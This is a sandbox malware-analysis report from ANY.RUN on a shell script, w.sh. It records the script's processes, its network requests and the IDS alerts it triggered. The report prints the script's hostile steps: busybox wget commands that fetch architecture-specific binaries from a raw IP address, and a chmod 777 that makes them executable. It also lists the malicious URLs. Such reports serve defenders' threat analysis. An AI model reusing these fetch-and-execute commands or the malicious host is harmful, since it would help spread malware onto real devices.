Malware analysis w.sh Malicious activity | ANY.RUN

Add for printing

File name:	w.sh
Full analysis:	https://app.any.run/tasks/2f126cab-5eb7-49bf-b383-aa1b29b6d13a
Verdict:	Malicious activity
Analysis date:	May 18, 2025, 20:52:23
OS:	Ubuntu 22.04.2
MIME:	text/plain
File info:	ASCII text
MD5:	AD5011FBF4A02B625FE711E066AD0F54
SHA1:	D4BE6BFADBE4C49EDCEDA327383CA62FD03DA780
SHA256:	E70A197484AD4050366FE0C864FDACEB146C7F7B1E7A2E3D4D216D75FC9B237D
SSDEEP:	12:ZAXoEO5AKzEINI1AM4wAR6A6K4WHlA/FkAGCegArV+F5AqF4TSA/XuaKA95ABOEF:+X5A7NIKRp6K4FroFcFeqFc/APIVYv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 39856)
- Executes commands using command-line interpreter
  - bash (PID: 39860)
  - sudo (PID: 39859)
- Connects to the server without a host name
  - busybox (PID: 39874)
  - busybox (PID: 39862)
  - busybox (PID: 39871)
  - busybox (PID: 39877)
  - busybox (PID: 39880)
  - busybox (PID: 39883)
  - busybox (PID: 39886)
  - busybox (PID: 39889)
  - busybox (PID: 39892)
  - busybox (PID: 39895)
  - busybox (PID: 39898)
- Executes the "rm" command to delete files or directories
  - bash (PID: 39860)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

171

Monitored processes

41

Malicious processes

1

Suspicious processes

1

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

39855

/bin/sh -c "sudo chown user /tmp/w\.sh && chmod +x /tmp/w\.sh && DISPLAY=:0 sudo -iu user /tmp/w\.sh "

/usr/bin/dash

—

oF5qt7VjSoEVMhQn

User:

root

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39856

sudo chown user /tmp/w.sh

/usr/bin/sudo

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11

39857

chown user /tmp/w.sh

/usr/bin/chown

—

sudo

User:

root

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39858

chmod +x /tmp/w.sh

/usr/bin/chmod

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39859

sudo -iu user /tmp/w.sh

/usr/bin/sudo

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11

39860

-bash --login -c \/tmp\/w\.sh

/usr/bin/bash

—

sudo

User:

user

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6

39861

/usr/bin/locale-check C.UTF-8

/usr/bin/locale-check

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

0

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39862

busybox wget http://160.191.244.17/bins/jew.arm

/usr/bin/busybox

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

256

39869

chmod 777 jew.arm

/usr/bin/chmod

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

256

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39870

-bash --login -c \/tmp\/w\.sh

/usr/bin/bash

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

32512

Add for printing

Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

12

TCP/UDP connections

20

DNS requests

12

Threats

12

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.17:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
39862	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.arm	unknown	—	—	unknown
39871	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.arm5	unknown	—	—	unknown
39874	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.arm6	unknown	—	—	unknown
39877	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.arm7	unknown	—	—	unknown
39880	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.m68k	unknown	—	—	unknown
39883	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.mips	unknown	—	—	unknown
39886	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.mpsl	unknown	—	—	unknown
39895	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.spc	unknown	—	—	unknown
39898	busybox	GET	404	160.191.244.17:80	http://160.191.244.17/bins/jew.x86	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.97:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	212.102.56.178:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
—	—	185.125.190.17:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
—	—	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
39862	busybox	160.191.244.17:80	—	—	JP	unknown
39871	busybox	160.191.244.17:80	—	—	JP	unknown
39874	busybox	160.191.244.17:80	—	—	JP	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	185.125.190.97 91.189.91.98 91.189.91.48 91.189.91.96 91.189.91.49 185.125.190.48 185.125.190.98 185.125.190.96 185.125.190.49 185.125.190.18 185.125.190.17 2620:2d:4000:1::98 2620:2d:4000:1::96 2001:67c:1562::23 2620:2d:4000:1::2a 2620:2d:4000:1::23 2620:2d:4000:1::97 2620:2d:4002:1::198 2620:2d:4000:1::2b 2620:2d:4002:1::196 2620:2d:4000:1::22 2001:67c:1562::24	whitelisted
google.com	142.250.186.46 2a00:1450:4001:808::200e	whitelisted
odrs.gnome.org	212.102.56.178 195.181.175.41 207.211.211.26 195.181.170.18 169.150.255.184 169.150.255.180 37.19.194.80 2a02:6ea0:c700::21 2a02:6ea0:c700::112 2a02:6ea0:c700::101 2a02:6ea0:c700::18 2a02:6ea0:c700::107 2a02:6ea0:c700::11 2a02:6ea0:c700::19	whitelisted
api.snapcraft.io	185.125.188.54 185.125.188.59 185.125.188.58 185.125.188.57 2620:2d:4000:1010::344 2620:2d:4000:1010::42 2620:2d:4000:1010::2e6 2620:2d:4000:1010::117	whitelisted
7.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
39862	busybox	Potentially Bad Traffic	ET INFO ARM File Download Request from IP Address
39871	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39874	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39877	busybox	Potentially Bad Traffic	ET INFO ARM7 File Download Request from IP Address
39877	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39880	busybox	Potentially Bad Traffic	ET INFO m68k File Download Request from IP Address
39883	busybox	Potentially Bad Traffic	ET INFO MIPS File Download Request from IP Address
39889	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .ppc File
39892	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .sh4 File
39895	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .spc File

Add for printing

No debug info

General Info

w.sh

AD5011FBF4A02B625FE711E066AD0F54

D4BE6BFADBE4C49EDCEDA327383CA62FD03DA780

E70A197484AD4050366FE0C864FDACEB146C7F7B1E7A2E3D4D216D75FC9B237D

12:ZAXoEO5AKzEINI1AM4wAR6A6K4WHlA/FkAGCegArV+F5AqF4TSA/XuaKA95ABOEF:+X5A7NIKRp6K4FroFcFeqFc/APIVYv

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Connects to the server without a host name

Executes the "rm" command to delete files or directories

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Information

Modules

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings